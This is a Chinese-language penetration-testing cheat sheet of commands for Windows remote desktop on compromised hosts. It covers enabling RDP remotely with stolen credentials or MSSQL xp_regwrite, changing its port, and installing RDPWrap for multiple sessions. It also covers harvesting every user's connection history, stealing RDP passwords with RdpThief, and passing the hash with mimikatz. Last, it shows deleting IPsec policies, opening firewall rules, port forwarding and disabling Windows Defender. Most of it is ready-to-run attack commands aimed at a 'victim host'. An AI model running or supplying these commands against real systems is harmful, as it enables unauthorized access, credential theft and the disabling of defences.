开启3389
查询系统是否需要开启RDP
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
0为开启 1为关闭 上图为开启
查询系统现在的RDP连接端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
0xd3d 为3389
开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 2 或者1(win10是2 ) win2008--win2012都可以
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 失败 据说win2008--win2012都可以
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 失败 据说win2008--win2012都可以
windows2000 系统开3389要重启
如果有密码,但是对端3389没开的话 先
net use \10.1.1.1 /u:administrator 123456
REG ADD “\10.1.1.1\HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
或者使用wmic
wmic /node:192.168.x.x /user:administrator /password:P@ssw0rd123 rdtoggle where AllowTSConnections=”0” call SetAllowTSConnections “1”
如果开了RDP开启了后,还是访问不了rdp,那么可能需要
net start TermService 开启远程桌面服务
MSSQL xp_regwrite开启3389端口
- 查询3389开启状态 : exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’ ,’fDenyTSConnections’
- 查询3389远程桌面端口 : exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’
- 开启3389远程桌面端口(0:ON、1:OFF): exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;
修改3389端口
https://blog.51cto.com/hackdos/549007
方法1:将下属放到bat里启动即可
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3e>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3e>>3389.reg
regedit /s 3389.reg
del 3389.reg
net stop TermService /y
net start TermService 即可无需重启系统修改端口
RDPWinst
https://github.com/stascorp/rdpwrap/
将RDPWinst下载到目标主机 然后执行安装命令,即可实现不同用户的同时登陆
RDPWinst.exe -i is # 安装
RDPWinst.exe -u # 卸载
获取历史连接记录
一、获取RDP明文凭据有两种方法,第一种是在mstst.exe启动时,读取mstsc.exe的内存数据,提取出用户所输入的口令,第二种是类似键盘记录的方法获取。键盘记录不再多说
二、获取历史连接记录(不可获得密码)
1、获得当前用户的历史连接记录:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
<br /> **PowerShell: dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name**
2、获取其他用户的历史连接记录:
通过枚举SID下的 Software\Microsoft\Terminal Server Client\Servers 来获取已登录其他用户历史连接记录
HKEY_USERS\S-1-5-21-1123416203-606088927-4187067076-500\Software\Microsoft\Terminal Server Client\Servers
PowerShell: 获取所有用户的SID: Get-WmiObject -Class Win32_UserAccount
3、获取所有用户的历史连接记录
加载 C:\Documents and Settings\用户名里的NTUSER.DAT文件
接着再HKEY_USERS下读取该用户的注册表配置信息 可以利用powershell来加载 Reg load HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003 C:\Documents and Settings\c\NTUSER.DAT 不过一般C:\Documents and Settings\我们地权限访问不了
PowerShell(需要管理员权限): $AllUser = Get-WmiObject -Class Win32_UserAccount foreach($User in $AllUser) { $RegPath = “Registry::HKEY_USERS\”+$User.SID+”\Software\Microsoft\Terminal Server Client\Servers\” Write-Host “User:”$User.Name Write-Host “SID:”$User.SID Write-Host “Status:”$User.Status Try
{ $QueryPath = dir $RegPath -Name -ErrorAction Stop } Catch { Write-Host “No RDP Connections History” Write-Host “—————————————————“ continue } foreach($Name in $QueryPath) {
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint Write-Host “Server:”$Name Write-Host “User:”$User } Catch
{ Write-Host “No RDP Connections History” } } Write-Host “—————————————————“ }
RdpThief 获取密码凭据
RdpThief在执行的时候,能够利用钩子程序监视mstsc,并记录下所输入的Mstsc.exe的账号和密码,我们可将他与CobalSrtike联动
RDP的哈希登录
例如通过某些方式getshell,然后目标主机mimikatz导出凭据不能直接明文读取,此使我们想远程登录方式可以新建一个账号进行登录,但是新建账号的内容(比如桌面信息)我们是看不到的,因此可以采用hash登录
https://www.secpulse.com/archives/72190.html
注意看版本哦!!!!!
- Windows 8.1和Windows Server 2012 R2默认支持该功能
- Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
- 条件:需要本地PC与目标PC同时支持Restricted Admin mode,使用命令mstsc.exe /restrictedadmin来检测
- 发现windows 2016也支持Restricted Admin mode
Pass the Hash with Remote Desktop的前提就是系统支持Restricted Admin mode
简单的来说就是开启受限的Restricted Admin mode可以使用当前的hash直接进行登录,如果你在内网渗透拿到一台主机的时候权限的时候,上了CS,读取了密码,发现只有hash凭据,不妨稍微尝试下哈希登录
当我们通过ms17-010或者webshell的方式获取了hash,但是hash解不开的时候,我们可以通过自己修改注册表来
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
1、例如读取出的hash值0e032b9d51a580ac6cdfabad8bc97a38
2、构造隧道打开cmd执行mimikatz输入以下命令
privilege::debug sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:0e032b9d51a580ac6cdfabad8bc97a38 “/run:mstsc.exe /restrictedadmin”
3、弹出的mstsc窗口,输入IP后直接连接,很简单,但是可能会卡(如3389黑屏)
获取RDP保存时候的凭据
https://blog.csdn.net/qq_34965596/article/details/104038301
https://mp.weixin.qq.com/s/75HmQegjBrIh7KtBDoYgdg
dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
本地安全策略限制3389(非FW)
1、netsh ipsec static del all 直接删除所有安全策略
2、端口转发
关于3389的原生端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.1.1 listenport=3388 connectaddress=192.168.1.2 connectpot=3389 端口转发
netsh interface portproxy show all 查看端口转发规则
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.1 listenport=3388
如果不行,开启下服务
sc start iphlpsvc
首次开启3389的时候,可能需要开启防火墙的规则
不然会被防火墙拦截
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
关于FIRWALL
netsh firewall show allowedprogram //查看防火墙放行程序
netsh firewall show allowedprogram c:\xxxxxx
netsh advfirewall firewall add rule name=”规则名称” dir=in action=allow protocol=TCP localport=80
//开放80端口
netsh advfirewall firewall add rule name=”规则名称” dir=in|out action=allow program=”程序路径” enable=yes //令Xxx加入放行程序
netsh firewall add allowedprogram C:\A.exe A ENABLE //令Xxx加入放行程序
关闭windows defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows defender" /v /DisableAntiSpyware /t REG_DWORD /d 1 /f
大部分情况下都会提示拒绝访问
RDP多用户登录
reg add /f "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
非服务器版本的Windows 系统默认只允许一个账户登录
直接登录会显示从别处远程,存在一定风险
登录其他账号的时候会有提示
PS:有时候使用mstsc /admin 可以让某些连接不上mstsc的目标连的上
开多用户登录的话,需要在受害主机上配置
1)Mimikatz 开启多用户登录,支持Win 7 及以前的版本系统
但是还是报错
2)手动设置:将计算机配置(Computer Configuration)->管理模板 (Administrative Templates)->Windows组件(Windows Components)->远程桌面 服务(Remote Desktop Services)->远程桌面会话主机(Remote Desktop Session Host)->链接(Connections),禁用”将远程桌面服务的用户限制到单独的远程桌面会 话”
一些奇奇怪怪的报错
1、如下所示,在客户端检测到一个协议错误。可能需要修改端口
如何还是不行,询问大佬说可能是要插key认证后的才能进行RDP,反正就是连不上了
2、rdesktop连接Windows远程桌面因CredSSP 报错
可以安装一个remmina来进行远程登录,然后再取消勾选 仅允许运行使用网络界别身份验证的远程桌面的计算机连接(建议)(N)
https://zhuanlan.zhihu.com/p/371497627
BIT chache图片缓存拼接获取
https://baijiahao.baidu.com/s?id=1705153152225734305&wfr=spider&for=pc
https://github.com/BSI-Bund/RdpCacheStitcher
https://github.com/ANSSI-FR/bmc-tools
参考资料:
https://www.chainnews.com/zh-hant/articles/175977446426.htm
https://www.secshi.com/21512.html
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95/